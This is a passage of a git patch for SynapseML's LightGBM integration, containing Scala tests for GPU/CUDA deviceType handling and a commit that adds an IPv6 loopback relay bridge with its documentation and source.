SwigUtils} import com.microsoft.ml.lightgbm.{SWIGTYPE_p_p_void, SWIGTYPE_p_void, lightgbmlib} import org.apache.spark.ml.attribute.{Attribute, AttributeGroup, NumericAttribute} import org.apache.spark.ml.linalg.{DenseVector, SparseVector, Vectors} import org.apache.spark.sql.DataFrame +import org.apache.spark.sql.types.StructField + +import scala.util.{Failure, Success, Try} // scalastyle:off magic.number // scalastyle:off method.length @@ -382,4 +386,309 @@ class VerifyLightGBMCommon extends TestBase with LightGBMTestUtils { .setSlotNames(Array("a", "b")) assert(model.fit(df).transform(df).count() == 4) } + + /** getTrainParams only reads attribute metadata off the features field, so any schema will do. */ + private lazy val deviceFeaturesSchema: StructField = makeDuplicateNameDF(3).schema(featuresCol) + + private def paramTokens(params: BaseTrainParams): Set[String] = params.toString.split(" ").toSet + + private class DeviceParameterProbe extends LightGBMClassifier { + def datasetCreationParams: String = getDatasetCreationParams(Array.empty[Int], 1) + def effectiveDeviceType: String = getEffectiveDeviceType + } + + test("Verify deviceType preserves the nine-field ExecutionParams case class API") { + val original = ExecutionParams(10000, "auto", 4, "streaming", "global", 100000, 100, false, 16) + val copied: ExecutionParams = original.copy(numThreads = 8) + val ExecutionParams(chunkSize, matrixType, copiedNumThreads, dataTransferMode, samplingMode, + samplingSetSize, microBatchSize, useSingleDatasetMode, maxStreamingOMPThreads) = copied + + assert(original.productArity == 9) + assert((chunkSize, matrixType, copiedNumThreads, dataTransferMode, samplingMode, + samplingSetSize, microBatchSize, useSingleDatasetMode, maxStreamingOMPThreads) == + (10000, "auto", 8, "streaming", "global", 100000, 100, false, 16)) + assert(classOf[ExecutionParams].getConstructors.exists(_.getParameterCount == 9)) + assert(classOf[ExecutionParams].getMethods.exists(method => + method.getName == "copy" && method.getParameterCount == 9)) + assert(ExecutionParams.getClass.getMethods.exists(method => + method.getName == "apply" && method.getParameterCount == 9)) + } + + test("Verify deviceType reaches the LightGBM parameter string for every learner") { + val classifier = new LightGBMClassifier().setDeviceType(LightGBMConstants.GPUDeviceType) + val regressor = new LightGBMRegressor().setDeviceType(LightGBMConstants.GPUDeviceType) + val ranker = new LightGBMRanker().setDeviceType(LightGBMConstants.GPUDeviceType) + assert(paramTokens(classifier.getTrainParams(1, deviceFeaturesSchema, 2)).contains("device_type=gpu")) + assert(paramTokens(regressor.getTrainParams(1, deviceFeaturesSchema, 2)).contains("device_type=gpu")) + assert(paramTokens(ranker.getTrainParams(1, deviceFeaturesSchema, 2)).contains("device_type=gpu")) + } + + test("Verify non-default deviceType reaches Dataset creation while cpu remains unchanged") { + val cpu = new DeviceParameterProbe + val gpu = new DeviceParameterProbe().setDeviceType(LightGBMConstants.GPUDeviceType) + assert(!cpu.datasetCreationParams.contains("device_type")) + assert(gpu.datasetCreationParams.split(" ").contains("device_type=gpu")) + } + + test("Verify the default cpu deviceType leaves the LightGBM parameter string untouched") { + // cpu is LightGBM's own default, so emitting it would only risk overriding a "device" alias + // that an existing caller passed through passThroughArgs. + Seq(new LightGBMClassifier().getTrainParams(1, deviceFeaturesSchema, 2), + new LightGBMRegressor().getTrainParams(1, deviceFeaturesSchema, 2), + new LightGBMRanker().getTrainParams(1, deviceFeaturesSchema, 2)) + .foreach(params => assert(!params.toString.contains("device_type"))) + } + + test("Verify passThroughArgs device aliases take precedence over deviceType") { + Seq("device_type=cuda", "device=cuda").foreach { args => + val learner = new DeviceParameterProbe() + .setPassThroughArgs(args) + .setDeviceType(LightGBMConstants.GPUDeviceType) + val parameters = learner.getTrainParams(1, deviceFeaturesSchema, 2).toString + assert(parameters.startsWith(args)) + assert(!parameters.contains("device_type=gpu")) + assert(learner.effectiveDeviceType == LightGBMConstants.CUDADeviceType) + assert(learner.datasetCreationParams.split(" ").contains("device_type=cuda")) + } + } + + test("Verify canonical device_type cuda wins over device gpu in either order") { + Seq("device=gpu device_type=cuda", "device_type=cuda device=gpu").foreach { args => + val learner = new DeviceParameterProbe() + .setPassThroughArgs(args) + .setDeviceType(LightGBMConstants.GPUDeviceType) + assert(learner.effectiveDeviceType == LightGBMConstants.CUDADeviceType) + assert(learner.datasetCreationParams.split(" ").contains("device_type=cuda")) + val error = intercept[IllegalArgumentException] { + learner + .setLabelCol(labelCol) + .setFeaturesCol(featuresCol) + .setNumTasks(1) + .fit(deviceTrainingDF) + } + assert(error.getMessage.contains("missing CUDA metadata")) + } + } + + test("Verify canonical device_type gpu wins over device cuda in either order") { + Seq("device=cuda device_type=gpu", "device_type=gpu device=cuda").foreach { args => + val learner = new DeviceParameterProbe() + .setPassThroughArgs(args) + .setDeviceType(LightGBMConstants.CPUDeviceType) + assert(learner.effectiveDeviceType == LightGBMConstants.GPUDeviceType) + assert(learner.datasetCreationParams.split(" ").contains("device_type=gpu")) + } + } + + test("Verify mixed-case canonical and alias CUDA values are rejected") { + Seq("device_type=CUDA", + "device=CuDa", + "device=GPU device_type=CuDa", + "device_type=cUdA device=GPU").foreach { args => + val learner = new DeviceParameterProbe() + .setPassThroughArgs(args) + .setDeviceType(LightGBMConstants.CPUDeviceType) + assert(learner.effectiveDeviceType == LightGBMConstants.CUDADeviceType) + assert(learner.datasetCreationParams.split(" ").contains("device_type=cuda")) + val error = intercept[IllegalArgumentException] { + learner + .setLabelCol(labelCol) + .setFeaturesCol(featuresCol) + .setNumTasks(1) + .fit(deviceTrainingDF) + } + assert(error.getMessage.contains("missing CUDA metadata")) + } + } + + test("Verify mixed-case GPU values resolve safely") { + Seq("device=GpU", + "device=CuDa device_type=GPU", + "device_type=gPu device=CUDA").foreach { args => + val learner = new DeviceParameterProbe() + .setPassThroughArgs(args) + .setDeviceType(LightGBMConstants.CPUDeviceType) + assert(learner.effectiveDeviceType == LightGBMConstants.GPUDeviceType) + assert(learner.datasetCreationParams.split(" ").contains("device_type=gpu")) + } + } + + test("Verify quoted CUDA keys and values are normalized and rejected") { + val quotedCudaArgs = Seq( + """device_type="CUDA"""", + "device_type='CuDa'", + """"device_type"=cUdA""", + "'device_type'=CUDA", + """device="CuDa"""", + "device='CUDA'", + """"device"='cUdA'""", + """"device_type'=CUDA"""", + """device_type='CuDa"""") + quotedCudaArgs.foreach { args => + val learner = new DeviceParameterProbe() + .setPassThroughArgs(args) + .setDeviceType(LightGBMConstants.GPUDeviceType) + assert(learner.getPassThroughArgs == args) + assert(learner.effectiveDeviceType == LightGBMConstants.CUDADeviceType) + assert(learner.datasetCreationParams.split(" ").contains("device_type=cuda")) + } + Seq("""device_type="CUDA"""", "device='CuDa'").foreach { args => + val error = intercept[IllegalArgumentException] { + new DeviceParameterProbe() + .setPassThroughArgs(args) + .setLabelCol(labelCol) + .setFeaturesCol(featuresCol) + .setNumTasks(1) + .fit(deviceTrainingDF) + } + assert(error.getMessage.contains("missing CUDA metadata")) + } + } + + test("Verify quoted canonical device_type retains precedence over quoted device alias") { + Seq( + """"device"='gpu' 'device_type'="CuDa"""", + """'device_type'="CUDA" "device"='gpu'""").foreach { args => + val learner = new DeviceParameterProbe().setPassThroughArgs(args) + assert(learner.getPassThroughArgs == args) + assert(learner.effectiveDeviceType == LightGBMConstants.CUDADeviceType) + assert(learner.datasetCreationParams.split(" ").contains("device_type=cuda")) + } + Seq( + """"device"='CuDa' 'device_type'="GpU"""", + """'device_type'="GPU" "device"='cuda'""").foreach { args => + val learner = new DeviceParameterProbe().setPassThroughArgs(args) + assert(learner.getPassThroughArgs == args) + assert(learner.effectiveDeviceType == LightGBMConstants.GPUDeviceType) + assert(learner.datasetCreationParams.split(" ").contains("device_type=gpu")) + } + } + + test("Verify device-like text inside unrelated values is ignored") { + Seq("note=device_type=cuda", """note="device_type=CUDA"""", "path=device_cuda").foreach { args => + val learner = new DeviceParameterProbe().setPassThroughArgs(args) + assert(learner.getPassThroughArgs == args) + assert(learner.effectiveDeviceType == LightGBMConstants.CPUDeviceType) + assert(!learner.datasetCreationParams.contains("device_type")) + } + } + + test("Verify shared device parser matches native-effective syntax") { + val cases = Seq( + """device_type="CUDA"""" -> Some(LightGBMConstants.CUDADeviceType), + """'device'='GpU'""" -> Some(LightGBMConstants.GPUDeviceType), + """device="cuda" "device_type"='GPU'""" -> Some(LightGBMConstants.GPUDeviceType), + """'device_type'='CuDa' device="gpu"""" -> Some(LightGBMConstants.CUDADeviceType), + "device cuda" -> None, + "device_type gpu" -> None, + "note=device_type=cuda" -> None, + """note="device=CUDA"""" -> None) + cases.foreach { case (parameters, expected) => + assert(LightGBMUtils.effectiveDeviceType(parameters) == expected) + assert(LightGBMUtils.hasDeviceParameter(parameters) == expected.isDefined) + } + } + + test("Verify booster guidance uses the shared effective device parser") { + Seq( + """device_type="CUDA"""" -> "device_type=cuda", + """'device'='GpU'""" -> "device_type=gpu", + """device='cuda' "device_type"="GPU"""" -> "device_type=gpu").foreach { + case (parameters, expectedDevice) => + val guidance = LightGBMUtils.boosterFailureGuidance(parameters) + assert(guidance.contains(s"Requested $expectedDevice")) + } + Seq("device cuda", "device_type gpu", "note=device_type=cuda", "device=cpu").foreach { parameters => + assert(LightGBMUtils.boosterFailureGuidance(parameters).isEmpty) + } + } + + test("Verify deviceType rejects an unsupported device") { + val cudaError = intercept[IllegalArgumentException] { + new LightGBMClassifier().setDeviceType(LightGBMConstants.CUDADeviceType) + } + assert(cudaError.getMessage.contains("can crash Spark executors")) + assertThrows[IllegalArgumentException](new LightGBMClassifier().setDeviceType("tpu")) + } + + test("Verify generic Params set validates deviceType like generated wrappers") { + val learner = new LightGBMClassifier() + learner.set(learner.deviceType, LightGBMConstants.CPUDeviceType) + assert(learner.getDeviceType == LightGBMConstants.CPUDeviceType) + learner.set(learner.deviceType, LightGBMConstants.GPUDeviceType) + assert(learner.getDeviceType == LightGBMConstants.GPUDeviceType) + assertThrows[IllegalArgumentException] { + learner.set(learner.deviceType, LightGBMConstants.CUDADeviceType) + } + } + + private lazy val deviceTrainingDF: DataFrame = { + import spark.implicits._ + Seq((0.0, Vectors.dense(1.0, 2.0, 3.0)), + (1.0, Vectors.dense(4.0, 5.0, 6.0)), + (0.0, Vectors.dense(1.5, 2.5, 3.5)), + (1.0, Vectors.dense(4.5, 5.5, 6.5)), + (0.0, Vectors.dense(1.2, 2.2, 3.2)), + (1.0, Vectors.dense(4.2, 5.2, 6.2))) + .toDF(labelCol, featuresCol) + } + + private def baseDeviceClassifier: LightGBMClassifier = + new LightGBMClassifier() + .setLabelCol(labelCol) + .setFeaturesCol(featuresCol) + .setNumLeaves(2) + .setNumIterations(2) + .setNumTasks(1) + .setNumThreads(1) + .setSeed(42) + + private def deviceClassifier(device: String): LightGBMClassifier = + baseDeviceClassifier.setDeviceType(device) + + private def rootCause(t: Throwable): Throwable = + Iterator.iterate(t)(_.getCause).takeWhile(_ != null).toList.last + + test("Verify the default cpu deviceType leaves training output unchanged") { + val defaultClassifier = baseDeviceClassifier + val explicitCpuClassifier = deviceClassifier(LightGBMConstants.CPUDeviceType) + assert(defaultClassifier.getTrainParams(1, deviceFeaturesSchema, 2).toString == + explicitCpuClassifier.getTrainParams(1, deviceFeaturesSchema, 2).toString) + + val defaultModel = defaultClassifier.fit(deviceTrainingDF) + val explicitCpuModel = explicitCpuClassifier.fit(deviceTrainingDF) + assert(defaultModel.getModel.modelStr == explicitCpuModel.getModel.modelStr) + } + + /** The published lightgbmlib artifact bundles a CPU-only native library, so gpu and cuda cannot + * be trained here. What must hold on any build is that the request reaches LightGBM instead of + * being quietly dropped: a caller who asks for a GPU and unknowingly gets CPU has no way to + * tell, and would take the slowdown as a fact of life. LightGBM refusing by name is proof the + * parameter arrived. If the native library ever does gain GPU support the fit simply succeeds, + * which satisfies the same property. + */ + private def assertDeviceIsHonored(device: String, learner: String): Unit = { + val outcome = Try(deviceClassifier(device).fit(deviceTrainingDF).transform(deviceTrainingDF).count()) + outcome match { + case Success(count) => assert(count == deviceTrainingDF.count()) + case Failure(t) => + val message = rootCause(t).getMessage + assert(message != null && message.contains(learner) && + message.contains(s"Requested device_type=$device") && + message.contains("bundled LightGBM native libraries are CPU-only") && + message.contains("java.library.path"), + s"Requesting device_type=$device did not produce actionable accelerator guidance: $message") + } + } + + test("Verify the gpu deviceType is never silently downgraded to cpu") { + assertDeviceIsHonored(LightGBMConstants.GPUDeviceType, "GPU Tree Learner") + } + + test("Verify the passThroughArgs cuda alias is rejected before native training") { + val error = intercept[IllegalArgumentException] { + baseDeviceClassifier.setPassThroughArgs("device=cuda").fit(deviceTrainingDF) + } + assert(error.getMessage.contains("missing CUDA metadata")) + } } From 176bbdf34d1741c2300c29cb59ecd1900fb3b91e Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Sat, 15 Aug 2026 17:51:30 -0700 Subject: [PATCH 70/93] fix(lightgbm): support IPv6 worker endpoints (#2637) --- .pipelines/release-compat-prerequisites.txt | 3 + docs/Explore Algorithms/LightGBM/Overview.md | 66 ++ .../ml/lightgbm/BasePartitionTask.scala | 4 +- .../ml/lightgbm/LightGBMNetworkBridge.scala | 346 +++++++++ .../ml/lightgbm/LightGBMNetworkRelay.scala | 668 ++++++++++++++++++ .../synapse/ml/lightgbm/NetworkManager.scala | 136 ++-- .../ml/lightgbm/NetworkTopologyInfo.scala | 102 +++ .../synapse/ml/lightgbm/WorkerEndpoint.scala | 208 ++++++ .../synapse/ml/lightgbm/WorkerMessage.scala | 56 +- .../split1/DriverSocketRetrySuite.scala | 52 +- .../split1/LightGBMIpv6NetworkE2ESuite.scala | 398 +++++++++++ .../LightGBMNetworkBridgeLifecycleSuite.scala | 608 ++++++++++++++++ .../split1/LightGBMNetworkBridgeSuite.scala | 361 ++++++++++ .../ml/lightgbm/split1/TrainUtilsSuite.scala | 74 +- .../split1/WorkerWireFormatSuite.scala | 128 ++++ 15 files changed, 3124 insertions(+), 86 deletions(-) create mode 100644 lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMNetworkBridge.scala create mode 100644 lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMNetworkRelay.scala create mode 100644 lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/NetworkTopologyInfo.scala create mode 100644 lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/WorkerEndpoint.scala create mode 100644 lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/LightGBMIpv6NetworkE2ESuite.scala create mode 100644 lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/LightGBMNetworkBridgeLifecycleSuite.scala create mode 100644 lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/LightGBMNetworkBridgeSuite.scala create mode 100644 lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/WorkerWireFormatSuite.scala diff --git a/.pipelines/release-compat-prerequisites.txt b/.pipelines/release-compat-prerequisites.txt index d6f31a769cf..a6217372408 100644 --- a/.pipelines/release-compat-prerequisites.txt +++ b/.pipelines/release-compat-prerequisites.txt @@ -1,3 +1,6 @@ # PR #2591 adds Azure AI Search AAD auth required by this change. # Remove this prerequisite once every validated release branch contains that backport. 04897bae9baa08f0d67855566f7bad235791d508 +# PR #2612 introduces the WorkerMessage protocol used by the IPv6 endpoint parsing fix. +# Remove this prerequisite once every validated release branch contains that backport. +4a52d9ae4184d3ce00394cd9cb4209c35990fc47 \ No newline at end of file diff --git a/docs/Explore Algorithms/LightGBM/Overview.md b/docs/Explore Algorithms/LightGBM/Overview.md index 5e765742f63..9ef88079bed 100644 --- a/docs/Explore Algorithms/LightGBM/Overview.md +++ b/docs/Explore Algorithms/LightGBM/Overview.md @@ -329,3 +329,69 @@ most recent attempt, this can hide the failure that actually caused the retry. When this happens, the reported error explains that it's a retry that could not rejoin the network, and names the partition to investigate. Look for the **first** failed attempt of that partition in the executor logs — that attempt holds the real cause. + +### IPv6 clusters + +Distributed training works on clusters whose executors only have IPv6 addresses. + +The native LightGBM library is IPv4-only in every released version: it splits each machine list entry on +`:` and keeps the entry only when that yields exactly two parts, and it builds every socket with `AF_INET` +and `inet_pton(AF_INET, ...)`. An IPv6 endpoint is therefore dropped or misread by the native parser, and +could not be dialed or accepted even if it survived parsing. + +SynapseML handles this itself. The topology exchange publishes IPv6 endpoints in the unambiguous +`[address]:port` form, and each task then bridges the transport for the native library: + +- the port a task advertised to its peers is owned by SynapseML, which accepts peer connections over + either address family and forwards them to the native listener over IPv4 loopback; +- each IPv6 peer gets an IPv4 loopback relay that forwards what the native library sends to that peer's + real IPv6 address; +- the machine list handed to the native library has the same entries in the same order, with every bridged + endpoint rewritten to `127.0.0.1:port` and an explicit rank, so LightGBM ranks are unchanged. + +An IPv4 machine list is passed to the native library exactly as before, with no relay and no rewriting, so +IPv4 clusters see no behavior or performance change. On an IPv6 cluster, peer traffic takes one extra +loopback hop on each side, and IPv4 loopback must be available on the executors. Measured on a 16 core +developer machine over loopback, a bridged link sustains roughly a third of the throughput of a direct one +(about 0.6 GB/s per direction) for about four times the CPU per transferred byte, and adds roughly 200 +microseconds to a small message round trip per hop. Links faster than a few Gb/s can therefore be limited +by the bridge rather than by the network. The relays never buffer in the JVM heap: a reader that stops +reading stops the sender, with only the socket buffers in between. + +The advertised port is the one address peers know, so SynapseML binds it on every interface, exactly as the +native listener did before this change, and performs the LightGBM link handshake there itself. A machine +opens a LightGBM link by sending its rank, so a connection has to produce a valid, unused, lower rank within +a timeout before any of its bytes reach the native library; connections that stall, repeat a rank, or claim +a rank the topology does not have are closed by the bridge. That matters because the native accept loop has +no timeout and treats the first four bytes of any connection as a rank. + +The native listener itself is the one thing this library cannot rebind: `TcpSocket::Bind` hardcodes +`0.0.0.0`, so while it is open it is reachable on every IPv4 interface. The bridge therefore claims each of +that listener's link slots itself, over IPv4 loopback, as soon as the port is bound — one slot per lower +rank, which is exactly how many the native library accepts before closing the listener. In practice the +listener is open for milliseconds on an unadvertised ephemeral port rather than for the whole handshake +phase, and every byte the native library reads from it comes from the bridge. Closing that window entirely +requires an upstream change to LightGBM: `TcpSocket::Bind` would have to take a bind address so that +`Linkers::TryBind` can pass a loopback one. Until then, a LightGBM training port must only be reachable +from the cluster's own executors, which was already true before this change. + +The per peer relays are bound to IPv4 loopback and are not reachable from outside the machine, the number of +links a bridge will relay is capped at twice the machine count, and each lower rank may link only once. One +event loop thread serves every listener and every link, so a bridge runs exactly one thread whatever the +machine count is, with two fixed size buffers per link. + +A connection the topology cannot need — an unsolicited one, one past the cap, or one that fails its +handshake — is refused without consuming any of that budget, so it cannot starve the links the native +library itself opens. Transport failures are retried while they can be: a dial that fails, immediately or +later, backs off and retries until its deadline, and a failure while handling one connection never closes +the listener that accepted it. A failure that cannot be retried away is recorded and fails the Spark task +with that cause, both before and after the native initialization call, rather than leaving the task waiting +on a transport that will not recover. + +Link-local addresses (`fe80::/10`) are supported only when a peer advertises a zone identifier +(`fe80::1%eth0`) that names an interface on every other machine, since a link-local address is scoped to a +single interface. A task normalizes a numeric scope (an interface index, which only means something on the +machine that produced it) to the interface name before publishing its endpoint, and a peer that still +advertises a numeric scope is rejected. A link-local peer without a zone, or with a zone this machine does +not have, fails immediately with an error naming the address instead of hanging. Use a globally routable or +unique-local IPv6 address for distributed training. diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/BasePartitionTask.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/BasePartitionTask.scala index 64cfd5102fc..f68e2572e2c 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/BasePartitionTask.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/BasePartitionTask.scala @@ -131,7 +131,7 @@ abstract class BasePartitionTask extends Serializable with Logging { // Start with initialization val taskCtx = initialize(ctx, inputRows) - NetworkManager.withCleanupPreservingPrimary(taskCtx.networkTopologyInfo.releasePortReservation()) { + NetworkManager.withCleanupPreservingPrimary(taskCtx.networkTopologyInfo.releaseNetworkResources()) { if (taskCtx.isEmptyPartition) { log.warn("LightGBM task encountered empty partition, for best performance ensure no partitions are empty") Array { PartitionResult(None, taskCtx.measures) }.toIterator @@ -199,7 +199,7 @@ abstract class BasePartitionTask extends Serializable with Logging { shouldExecuteTraining, taskMeasures) - NetworkManager.withCleanupOnFailurePreservingPrimary(networkInfo.releasePortReservation()) { + NetworkManager.withCleanupOnFailurePreservingPrimary(networkInfo.releaseNetworkResources()) { // Return booster only from main worker to reduce network communication overhead val shouldReturnBooster = if (isEmptyPartition) false else if (!shouldExecuteTraining) false diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMNetworkBridge.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMNetworkBridge.scala new file mode 100644 index 00000000000..90eb0bc1fec --- /dev/null +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMNetworkBridge.scala @@ -0,0 +1,346 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm + +import org.slf4j.Logger + +import java.io.Closeable +import java.net.{InetAddress, InetSocketAddress, NetworkInterface, SocketException, UnknownHostException} +import java.nio.channels.ServerSocketChannel +import java.util.concurrent.atomic.AtomicInteger +import scala.collection.JavaConverters._ +import scala.collection.mutable +import scala.util.control.NonFatal + +/** The machine list, listen port, and machine count to hand to the native LGBM_NetworkInit call. */ +private[lightgbm] final case class BridgedNetwork(machineList: String, + localListenPort: Int, + machineCount: Int, + rank: Int) + +/** Bridges an IPv6 LightGBM training network onto the IPv4-only native transport. + * + * The native LightGBM socket layer is IPv4-only in every released version, including the + * lightgbmlib artifact this project depends on. `Linkers::ParseMachineList` splits each machine + * entry on ':' and keeps it only when it has exactly two parts, so `[2001:db8::1]:12400` is + * discarded and `2001:db8::1:12400` is misread as the host `1`; `TcpSocket` then builds every + * address with `socket(AF_INET, ...)`, `sockaddr_in`, and `inet_pton(AF_INET, ...)`, so even a + * parsed IPv6 literal could neither be dialed nor accepted. + * + * Rather than fail, this bridge keeps the native library on the transport it understands and + * carries the traffic itself: + * + * - an inbound relay owns the port this task advertised to its peers, accepts their connections + * on either address family, checks the LightGBM rank handshake, and forwards each link to the + * native listener over IPv4 loopback; + * - one outbound relay per IPv6 peer listens on IPv4 loopback and forwards whatever the native + * library sends to that peer's real IPv6 endpoint; + * - the machine list handed to the native library is rewritten so every bridged endpoint becomes + * a `127.0.0.1:port` entry, prefixed with an explicit `rank=` so the native library never has + * to infer its own position from a loopback address. + * + * Entry order is preserved because a LightGBM rank is an index into the machine list, and an IPv4 + * peer keeps its original entry so it stays a direct native connection. A machine list without any + * IPv6 entry never reaches this class: `requiresBridge` is false and the native call is made + * exactly as it always was. + * + * The native listener is the one thing this library cannot rebind: `TcpSocket::Bind` hardcodes + * `0.0.0.0`, so it is reachable on every IPv4 interface for as long as it is open, and the native + * accept loop has no timeout and trusts the first four bytes of every connection as a rank. The + * bridge therefore claims each of that listener's link slots itself, from loopback, as soon as the + * port is bound, which closes the listener within milliseconds of `LGBM_NetworkInit` binding it, + * and it performs the rank handshake with peers on its own port instead, where a stalled or + * invalid handshake is rejected rather than left to block the native accept loop. Removing the + * remaining window needs an upstream change: `TcpSocket::Bind` taking a bind address so that + * `Linkers::TryBind` can pass a loopback address. + */ +private[lightgbm] object LightGBMNetworkBridge { + /** Native LightGBM resolves this with inet_pton(AF_INET), so it has to stay a numeric IPv4 literal. */ + private[lightgbm] val LoopbackHost: String = "127.0.0.1" + + /** LightGBM reads this prefix from the machine list and skips its own local-address lookup. */ + private[lightgbm] val RankPrefix: String = "rank=" + + /** Covers the native connect-retry budget (20 attempts with a 1.3x backoff from 200ms). */ + private[lightgbm] val DefaultConnectTimeoutMillis: Long = 180000L + + /** A peer that has opened a connection has to identify itself well within the native timeout. */ + private[lightgbm] val DefaultHandshakeTimeoutMillis: Long = 30000L + + /** Headroom over the links a topology can actually need, which is one per other machine. */ + private val RelayedConnectionsPerMachine: Int = 2 + + private val BridgeCount = new AtomicInteger(0) + + private def nextBridgeId(): Int = BridgeCount.incrementAndGet() + + /** Parse a LightGBM machine list into its endpoints, preserving order. */ + def parseMachineList(machineList: String): Seq[WorkerEndpoint] = { + val entries = splitEntries(machineList) + if (entries.isEmpty) { + throw new IllegalArgumentException( + s"LightGBM machine list ${WorkerEndpoint.preview(machineList)} does not contain any endpoint") + } + entries.map(WorkerEndpoint.parse) + } + + /** Whether the native library would have to speak IPv6 to establish this network. + * + * This deliberately classifies without parsing, so an IPv4 machine list keeps reaching the + * native call unchanged even if it holds an entry this library would reject. + */ + def requiresBridge(machineList: String): Boolean = splitEntries(machineList).exists(isIpv6Entry) + + private def splitEntries(machineList: String): Seq[String] = + Option(machineList).getOrElse("").split(",").map(_.trim).filter(_.nonEmpty).toSeq + + /** An IPv6 entry is either bracketed or has more colons than the single host:port separator. */ + private def isIpv6Entry(entry: String): Boolean = entry.startsWith("[") || entry.count(_ == ':') > 1 + + /** Build the machine list handed to the native library. */ + private[lightgbm] def formatMachineList(rank: Int, entries: Seq[String]): String = + (Seq(s"$RankPrefix$rank") ++ entries).mkString(",") + + /** Locate this task's own entry, which is also its LightGBM rank. + * + * The driver echoes back the exact host string the task reported, so an exact match is the + * normal path. The fallbacks only matter when a host string is rewritten on the way (a + * differently compressed IPv6 literal, for example), and each one is anchored on the advertised + * port so it can never select another machine's entry. + */ + private[lightgbm] def findSelf(entries: Seq[WorkerEndpoint], advertisedHost: String, advertisedPort: Int): Int = { + val candidates = entries.zipWithIndex.filter { case (entry, _) => entry.port == advertisedPort } + val self = candidates.find { case (entry, _) => entry.host == advertisedHost } + .orElse(candidates.find { case (entry, _) => sameAddress(entry.host, advertisedHost) }) + .orElse(if (candidates.lengthCompare(1) == 0) candidates.headOption else None) + .orElse(candidates.find { case (entry, _) => isLocalAddress(entry.host) }) + self.map { case (_, index) => index }.getOrElse { + throw new IllegalArgumentException( + s"LightGBM machine list ${WorkerEndpoint.preview(entries.map(_.wireString).mkString(","))} does not " + + "contain this task's own endpoint " + + s"${WorkerEndpoint.preview(s"${WorkerEndpoint.wireHost(advertisedHost)}:$advertisedPort")}. " + + "The endpoint a task advertises to the driver has to appear in the machine list the driver sends back.") + } + } + + /** Resolve a peer host, failing with an actionable message instead of a bare UnknownHostException. */ + private[lightgbm] def resolvePeer(entry: WorkerEndpoint, log: Logger): InetAddress = { + if (entry.hasNumericZone) { + throw new IllegalArgumentException(s"Cannot reach LightGBM peer ${entry.wireString}: its IPv6 zone " + + s"identifier '${entry.zoneId.getOrElse("")}' is a numeric interface index, which only means " + + "anything on the machine that produced it. A peer has to advertise an interface name, such as " + + "fe80::1%eth0.") + } + val address = try { + InetAddress.getByName(entry.address) + } catch { + case failure: UnknownHostException => + throw new IllegalArgumentException(s"Cannot reach LightGBM peer ${entry.wireString}: " + + "the host could not be resolved on this machine.", failure) + } + if (address.isLinkLocalAddress) scopedLinkLocalAddress(entry, log) else address + } + + /** Attach a link-local peer's zone to a locally meaningful interface, or explain why it cannot be. */ + private def scopedLinkLocalAddress(entry: WorkerEndpoint, log: Logger): InetAddress = { + log.warn(s"LightGBM peer ${entry.wireString} is an IPv6 link-local address. A link-local address is only " + + "meaningful within one interface's scope, so its zone identifier is resolved against this machine's " + + "interfaces. Prefer a globally routable or unique-local IPv6 address for distributed training.") + entry.zoneId match { + case None => + throw new IllegalArgumentException(s"Cannot reach LightGBM peer ${entry.wireString}: an IPv6 " + + "link-local peer has to advertise a zone identifier (for example fe80::1%eth0), because a " + + "link-local address alone does not say which interface to send from.") + case Some(zone) => + try { + InetAddress.getByName(entry.host) + } catch { + case failure: UnknownHostException => + throw new IllegalArgumentException(s"Cannot reach LightGBM peer ${entry.wireString}: its IPv6 " + + s"zone identifier '$zone' does not name an interface on this machine, so the link-local " + + "address cannot be reached from here.", failure) + } + } + } + + private def sameAddress(host: String, otherHost: String): Boolean = { + if (host.isEmpty || otherHost.isEmpty) { + false + } else { + try { + InetAddress.getByName(host) == InetAddress.getByName(otherHost) + } catch { + case _: UnknownHostException => false + } + } + } + + private def isLocalAddress(host: String): Boolean = { + try { + val address = InetAddress.getByName(host) + address.isAnyLocalAddress || address.isLoopbackAddress || + NetworkInterface.getNetworkInterfaces.asScala.exists(_.getInetAddresses.asScala.contains(address)) + } catch { + case _: UnknownHostException => false + case _: SocketException => false + } + } + + /** Start the relays for a machine list and return a running bridge. + * + * The caller owns the returned bridge and has to close it once the native network is done with + * it, including when the native initialization it wraps fails. + */ + def open(machineList: String, + advertisedHost: String, + advertisedPort: Int, + log: Logger, + connectTimeoutMillis: Long = DefaultConnectTimeoutMillis, + handshakeTimeoutMillis: Long = DefaultHandshakeTimeoutMillis, + connectAttempt: LightGBMNetworkRelay.ConnectAttempt = + LightGBMNetworkRelay.DefaultConnect): LightGBMNetworkBridge = { + requireIpv6CapableJvm() + val entries = parseMachineList(machineList) + val rank = findSelf(entries, advertisedHost, advertisedPort) + val bridge = new LightGBMNetworkBridge(entries, rank, advertisedPort, log, connectTimeoutMillis, + handshakeTimeoutMillis, connectAttempt) + NetworkManagerSocketSupport.withCleanupOnFailurePreservingPrimary(bridge.close())(bridge.start()) + bridge + } + + /** A JVM forced onto the IPv4 stack cannot open an IPv6 socket at all, whatever the bridge does. */ + private def requireIpv6CapableJvm(): Unit = { + if (java.lang.Boolean.getBoolean("java.net.preferIPv4Stack")) { + throw new IllegalStateException("This LightGBM training network has IPv6 endpoints, but this JVM was " + + "started with -Djava.net.preferIPv4Stack=true, which prevents it from opening any IPv6 socket. " + + "Remove that option from the Spark executor JVM options, or give the executors IPv4 addresses.") + } + } 